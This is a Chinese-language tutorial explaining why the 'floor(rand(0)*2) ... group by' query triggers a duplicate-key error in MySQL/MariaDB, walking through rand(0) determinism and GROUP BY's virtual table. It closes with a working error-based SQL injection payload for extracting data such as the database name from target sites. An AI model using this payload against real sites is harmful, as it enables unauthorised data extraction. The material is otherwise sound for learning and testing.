Floor报错原理分析

基础知识:

floor(): 去除小数部分,类似于float类型转换为int类型。

rand(): 产生随机数,不带参数的话,随机种子应该每次都不是固定的(比如,可能用时间来充当种子),反正能达到伪随机的目的。

rand(x): 每个x对应一个固定的种子,在单次执行sql语句中,先用种子初始化,之后的rand()函数不需要再种子初始化了,能达到伪随机的效果,但是如果种子是一个固定的值的话,那么每次伪随机的值也是固定的,这就是为什么像C语言产生伪随机数时,一般要用时间来作为种子,否则它的随机数便可以预测。

floor报错payload:

select count(*), floor(rand(0)*2) as x from information_schema.tables group by x;

这个payload的重点在group by x,也就是group by floor(rand(0)*2)。首先,floor(rand(0)*2) 的意思是随机产生0或1。虽说是随机,但是如果种子固定,那么它每次执行sql语句产生的值是固定。下面举个例子:

MariaDB [test]> select id,rand(0),now() from web;
+----+---------------------+---------------------+
| id | rand(0)             | now()               |
+----+---------------------+---------------------+
|  1 | 0.15522042769493574 | 2018-11-19 18:54:14 |
|  2 |   0.620881741513388 | 2018-11-19 18:54:14 |
|  3 |  0.6387474552157777 | 2018-11-19 18:54:14 |
|  4 | 0.33109208227236947 | 2018-11-19 18:54:14 |
|  5 |  0.7392180764481594 | 2018-11-19 18:54:14 |
|  6 |  0.7028141661573334 | 2018-11-19 18:54:14 |
|  7 |  0.2964166321758336 | 2018-11-19 18:54:14 |
|  8 |  0.3736406931408129 | 2018-11-19 18:54:14 |
|  9 |  0.9789535999102086 | 2018-11-19 18:54:14 |
| 10 |  0.7738459508622493 | 2018-11-19 18:54:14 |
+----+---------------------+---------------------+
10 rows in set (0.00 sec)

MariaDB [test]> select id,rand(0),now() from web;
+----+---------------------+---------------------+
| id | rand(0)             | now()               |
+----+---------------------+---------------------+
|  1 | 0.15522042769493574 | 2018-11-19 18:54:17 |
|  2 |   0.620881741513388 | 2018-11-19 18:54:17 |
|  3 |  0.6387474552157777 | 2018-11-19 18:54:17 |
|  4 | 0.33109208227236947 | 2018-11-19 18:54:17 |
|  5 |  0.7392180764481594 | 2018-11-19 18:54:17 |
|  6 |  0.7028141661573334 | 2018-11-19 18:54:17 |
|  7 |  0.2964166321758336 | 2018-11-19 18:54:17 |
|  8 |  0.3736406931408129 | 2018-11-19 18:54:17 |
|  9 |  0.9789535999102086 | 2018-11-19 18:54:17 |
| 10 |  0.7738459508622493 | 2018-11-19 18:54:17 |
+----+---------------------+---------------------+
10 rows in set (0.00 sec)

对于rand(0)而言,虽说是随机数,但是它的值与执行rand(0)的次数是意义对应的,即每一次执行rand(0)得到的结果都是固定的。基本是011011...这个序列。

那它为什么会报错呢?先来解释一下count(*)与group by是如何共同工作的。

以下面这个sql语句为例子:

select _key,count(_key) from _keys group by _key;

首先,系统会建立一个虚拟表:

+------+-------------+
| _key | count(_key) |
+------+-------------+
|      |             |
|      |             |
|      |             |
+------+-------------+

假设有表:

MariaDB [test]> select * from _keys;
+------+
| _key |
+------+
|   18 |
|   18 |
|   19 |
|   20 |
|   20 |
+------+

执行select _key,count(_key) from _keys group by _key;的过程中,会形成这样的虚拟表:

MariaDB [test]> select _key,count(_key) from _keys group by _key;
+------+-------------+
| _key | count(_key) |
+------+-------------+
|   18 |           2 |
|   19 |           1 |
|   20 |           2 |
+------+-------------+
3 rows in set (0.00 sec)

它是如何一步步形成这张表的呢?看上表。由于group by的是 _key ,第一次读取的就是18,在虚拟表中寻找是否已经存在18,由于表是空的,直接插入一条新数据,这时虚拟表变成这样:

+------+-------------+
| _key | count(_key) |
+------+-------------+
|   18 |           1 |
|      |             |
|      |             |
+------+-------------+

继续。下一个是18,由于已经有了18,故将_key为18的字段的count(_key)的值加1。下一个19,由于虚拟表中没有 _key 为19的字段,故插入。再下一个是20,继续插入。再下一个又是20。由于已经有了20,故将_key为20的字段的count(_key)的值加1,变为了2。以此类推,最后形成了这个虚拟表:

MariaDB [test]> select _key,count(_key) from _keys group by _key;
+------+-------------+
| _key | count(_key) |
+------+-------------+
|   18 |           2 |
|   19 |           1 |
|   20 |           2 |
+------+-------------+
3 rows in set (0.00 sec)

好了,现在group by原理讲完了。那究竟是如何将其与floor联合起来,进行floor报错呢?

先来回顾一下payload: select count(*), floor(rand(0)*2) as x from information_schema.tables group by x;
总体是一个group by语句,只不过这里group by的是floor(rand(0)*2)。这是一个表达式,每次运算的值都是随机的。还记得我刚刚说的floor(rand(0)*2)的值序列开头是011011...吧?ok,下面开始运算。

首先,建立一张虚拟表:

+----------+---+
| count(*) | x |
+----------+---+
|          |   |
|          |   |
|          |   |
|          |   |
|          |   |
|          |   |
+----------+---+

接着,进行group by floor(rand(0)*2)。floor表达式第一次运算的值为0,在表中没有找到key为0的数据,故插入,在插入的过程中,插入值并不是0,而是x,x仅仅是个表达式,所以需要x表达式再运行一次(即再进行一次floor运算,结果为1),取到了1,将之插入,并将count(*)置1。

+----------+---+
| count(*) | x |
+----------+---+
|        1 | 1 |
|          |   |
|          |   |
|          |   |
|          |   |
|          |   |
+----------+---+

继续,再进行group by floor(rand(0)*2)。进行floor表达式运算,由于这是第三次运算了,故值为1。刚好表中有了key为1的数据,故直接将其对应的count(*)加1即可,不用再运行x表达式了。

+----------+---+
| count(*) | x |
+----------+---+
|        2 | 1 |
|          |   |
|          |   |
|          |   |
|          |   |
|          |   |
+----------+---+

继续进行group by。这是第四次floor运算了,根据刚刚那个011011序列,这次的值为0,在表中找是否有key为0的数据。当然没有,故应当插入一条新记录。在插入时再执行x一次(就像第一次group by那样),这时的值为1,并将count(*)置1。可是你会说,虚拟表中已经有了key为1的数据了啊。对,这就是问题所在了。此时就会抛出主键冗余的异常,也就是所谓的floor报错。

当目标网站对正确查询回显做了过滤步骤,但是却没对错误回显做过滤步骤的话,便可以利用:

select count(*),concat(floor(rand(0)*2),(select database())) as x from information_schema.tables group by x; #将select database()换成你想要的东西!~

得到相应数据。